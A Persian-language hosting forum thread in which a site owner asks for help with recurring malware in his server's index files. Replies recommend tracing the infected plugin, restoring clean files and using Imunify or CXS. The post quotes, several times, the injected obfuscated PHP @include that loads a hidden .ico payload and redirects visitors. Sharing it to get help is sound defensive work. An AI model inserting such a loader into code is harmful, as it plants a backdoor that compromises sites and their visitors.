مشکل ویروسی شدن فایل های سرور

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

کد PHP:

---

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/ 


---

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

منشا الودگی رو باید بگردی پیداکنی
مثلا پلاگینی قالبی چیزی
تااونم حذف نکنی خوب اینابازم سروکلشون پیدا میشه

شما نرم افزار rlkill رو روی لینوکس اجرا کنید ترمینیت میشن همه

با سلام

من این مشکل رو تونستم با imunify حل کنم .

نقل قول:

---

نوشته اصلی توسط Gameserver.IR

با سلام

من این مشکل رو تونستم با imunify حل کنم .

---

چی هست راهنمایی میکنی؟

نقل قول:

---

نوشته اصلی توسط vahidmomtazi

چی هست راهنمایی میکنی؟

---

ابزاری برای حذف کدهای الوده از برنامه ها و سرورها هستن دوست گرامی (:|

نقل قول:

---

نوشته اصلی توسط vahidmomtazi

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

کد PHP:

---

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/ 


---

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

---

بله این کد های مخرب را روی سایت های برخی مشترکین مشاهده کردیم
این مشکل از سمت پلاگین هاتون هست -
یا یک پلاگین مخرب دارید
یا پلاگین هاتون اپدیت نیست

----
راه حل:
اول فایل های سالم را روی هاست بارگزاری کنی( فایل های اولیه قبل از الوده شدن)
سپی کلیه پلاگین هارو به روز کنید و پلاگین مخربی اگر مشاهده کردید و ضروری نبود حذف کنید و مشکل رفع میشود

نقل قول:

---

نوشته اصلی توسط vahidmomtazi

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

کد PHP:

---

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/ 


---

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

---

سلام.
این مسیر آلوده است:
/home/******************/private_html/assest/css/colors

من معمولا روی سرور CXS
https://configserver.com/cp/cxs.html

رو نصب میکنم و معمولا هم خیلی خوب کار میکنه و مشکلی نداره